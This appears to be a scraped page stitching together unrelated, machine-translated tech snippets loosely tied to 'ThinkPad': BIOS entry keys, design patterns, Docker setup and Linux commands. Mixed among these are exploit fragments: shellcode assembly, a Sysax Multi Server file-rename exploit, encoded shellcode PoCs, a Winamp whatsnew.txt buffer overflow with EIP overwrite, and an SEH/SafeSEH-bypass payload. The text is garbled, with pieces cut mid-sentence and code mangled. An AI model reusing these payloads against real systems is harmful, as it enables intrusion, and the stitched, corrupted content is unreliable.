thinkpad x41

. Open or restart the computer; When you see the Dell icon, press the "F2" button to enter the system setup (BIOS) immediately; Each brand notebook computer enters the BIOS method IBM (Cold Boot Press F1, part of the new number can be restarted when the press F1) 1.ThinkPad 315ED After the boot, when you see the screen on the ThinkPad logo, quickly press the F2 key to enter the BIOS. 2.

push ebxpush eaxpush ecxpush ebxmov eax,0x77d507eacall eax //Call MessageBox push ebx mov E AX, 0x7c81cafa call eax //Call Exitprocess}return 0;}Rewrite the assembly code to ShellcodeThen in the VC in the "_asm" position of the program first breakpoint, and then press F5 (GO), and then click "Disassembly", you can view the converted machine code (can also use OD or Ida view):Figure 4Extracting these machine codes is the Sh

)# Software Versions Tested: 5.50 and 5.52# Date Discovered: Febrary 1, 2012# Vendor Contacted: Febrary 3, 2012# Vendor Response: (none)# A complete description of this exploit can be found here:# Http://www.pwnag3.com/2012/02/sysax-multi-server-552-file-rename.html######################################## ######################################## ##########################Import socket, sys, time, re, base64If len (sys. argv )! = 6:Print "[+] Usage:./filename IP> Or 2K3>"Sys. exit (1)Target = sys

: metacom# Version: version 0.8.18# Category: poc# Tested on: windows 7 GermanBeginShellcode ="\ X89 \ xe0 \ xdb \ xc8 \ xd9 \ xf4 \ x5b \ x53 \ x59 \ x49 \ x49 \ x49 \ x49 \ x49" +"\ X43 \ x43 \ x43 \ x43 \ x43 \ x43 \ x51 \ x5a \ x56 \ x54 \ x58 \ x33 \ x30 \ x56" +"\ X58 \ x34 \ x41 \ x50 \ x30 \ x41 \ x33 \ x48 \ x48 \ x30 \ x41 \ x30 \ x30 \ x30 \

Since I have never known the jmp esp address under xpsp2, I have been looking for a long time to see an example in a post from xuejiao. I tested it. Since Data Execution Protection is enabled for vc6.0, I am not sure whether the overflow exploitation is successful. # Include # Include # Include Char shellcode [] ="\ X41 \ x41 \ x41 \

Motivation : In an object-oriented system, some objects are subject to some reasons (for example, the overhead of object creation is large, some operations require security control, or external access is required ), direct access may cause a lot of trouble to the user or system structure. How can we manage/control the unique complexity of these objects without losing transparent operation objects? Adding an indirect layer is a common solution in software development. Application: Remote Obje

teach you step-by-step to build a Docker-based MongoDB replication cluster environment 1. Installing Docker 2. Create a MongoDB image 3. Building a MongoDB cluster This article ——-chain--Connecthttp://blog.csdn.net/pddddd/article/details/46893593 Docker is an open-source application container engine that allows developers to package their applications and dependencies into a portable container. 1.ubuntu14.04 Installing Docker Reference Document http://docs.docker.com/installation/ubuntulin

Winamp, as one of the most mainstream music players in the 90, still has a large number of loyal fans. Of course there are many loopholes. The following is an analysis of a buffer overflow vulnerability that is triggered by opening the software's update history information.0x01 Vulnerability ReplayThe normal Whatsnew.txt file is located Winamp in a folder, and the update history information is saved for the software. In order to reproduce the vulnerability, we need to overwrite the original what

person to debug, to find out how this TXT file exploits the principle. Exploit Code AnalysisNow that we have triggered the vulnerability, we can further analyze the cause of the vulnerability. Take a look at its POC code, which is written in the Perl language:My $version = "Winamp 5.572"; My $junk = "\x41" x 540; My $eip = "\xad\x86\x0e\x07"; # overwrite EIP-070E86AD FFD4 call ESP nde.dll my $nop = "\x90" x 100; My $shellcode = # windows/exec Cmd=

\ x51 \ x5a \ x6a \ x41 \ x58 \ x50 \ x30 \ x41 \ x30 \ x41 \ x6b \ x41" Buf + = "\ x41 \ x51 \ x32 \ x41 \ x42 \ x32 \ x42 \ x42 \ x30 \ x42 \ x42 \ x41 \ x42" Buf + = "\ x58 \ x50 \

: ThinkPad, Password: Lenovo Useradd thinkpad-p lenovo-s/bin/bash Su ThinkPad Enter Password: Lenovo The first Su ThinkPad succeeds because the current account is root and Su ThinkPad does not require password verification The second Su

Motivation : ThinkPad has multiple models, such as T43 and t60. Each model supports multiple working modes. Each model has different implementations in different modes. With the continuous development, there are more and more models and working models. How to separate ThinkPad from the changes in model and working mode so that they change independently, without introducing additional complexity (the complex

\ x00 \ x00 \ x00 \ x43 \ x00 \ x41 \ x00 \ x64 \ x00 \ xBB \ x00" # last w0rd"\ X00 \ x42 \ x00 \ x49 \ x00 \ x54 \ x00 \ x56 \ x00 \ x61 \ x00 \ x6c \ x00 \ x75 \ x00 \ x65""\ X00 \ x4d \ x00 \ x61 \ x00 \ x00 \ x00 \ x00 \ x00 \ x11 \ x00 \ x00 \ x00 \ x43 \ x00 \ x41""\ X00 \ x64 \ x00 \ x76 \ x00 \ x42 \ x00 \ x59 \ x00 \ x54 \ x00 \ x45 \ x00 \ x56 \ x00 \ x61""\ X00 \ x6c \ x00 \ x75 \ x00 \ x65 \ x

Typical linux commands: 1. sagane @ sagane-ThinkPad-Edge :~ $ Mii-tool: when the network is disconnected, use this command to check whether the physical link is normal. 2. ssagane @ sagane-ThinkPad-Edge :~ $ Sshroot@192.168.1.43, with the root user login IP address as 19 .. linux commonly used commands Classic use 1, sagane @ sagane-ThinkPad-Edge :~ $ Mii-tool: w

About IBM random start options (which retain those deleted) About IBM random start options (which retain those deleted)The following figure shows the startup options after the random software is installed (it is clear to see the solution by the optimization master) 1 digital line Detect-is part of BVR telephone software kits. It provides fax, phone book, email, and other functions (which can be deleted)2 Bluetooth control disk-you can delete it if you do not need Bluetooth3 tpkmaphelper-IBM

##### Common base settingFilename = "POC.htm"##### SEH base settingJunk = "\ x90" * 304Nseh = "\ x90 \ x90 \ x90 \ x90"Seh = "\ xd8 \ x9a \ x83 \ x7c" #7C839AD8 kernel32. _ using t_handler3 as seh handle##### Bypass safeSEH with kernel32. _ effect_handler3Safe = "\ x5E \ x16 \ x80 \ x7C" # kernel32.text. 7c80165e # RETN --> edi after sysenterSafe + = "\ xd4 \ x1a \ x80 \ x7c" # kernel32.text. 7c801ad4 VirtualProtect --> esi after sysenterSafe + = "\ x00 \ x04 \ x00 \ x00" # size 0x400 --> ebx a

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generated-I To add an icon to an EXE file, you can specify an icon path or extract a specific id icon from an existing EXE file as an icon for the EXE file to be generatedIn addition, you can generate executable files from the spec file. The specific orders are as follows: Pyinstaller SpecfileOr Pyi-build Specfile Note: The spec file will exist every time by the command generation, you can add the corresponding function by the simple modification, such as the icon, specify the copyright file

ExitProcess lea ECX, [ebx-0x1e]; push ecx; PUSH[EBP + 0x08]; CALL[EBP + 0x10]; MOV[EBP-0X08], eax; Show Lea ECX, [ebx-0x12]; Push 0; push ecx; push ecx; Push 0; CALL[EBP-0X04]; Push 0; CALL[EBP-0X08]; mov esp, EBP; Pop

software that supports BGP-4, BGP-4 +, OSPFv2, OSPFv3, r1_1, r1_2, and RIPng. It complies with the gnu gpl standard and can run on Linux and other Unix variant systems. Zebra is one of the most advanced routing software. The latest version can be downloaded from the GUN Zebra Web site.The earliest Zebra kit was developed by Kunihiro Ishiguro and Yoshinari Yoshikawa in 1996. Currently, the Zebra suite is maintained by IP Infusion, and Ishiguro, one of the founders of the software, is the CTO of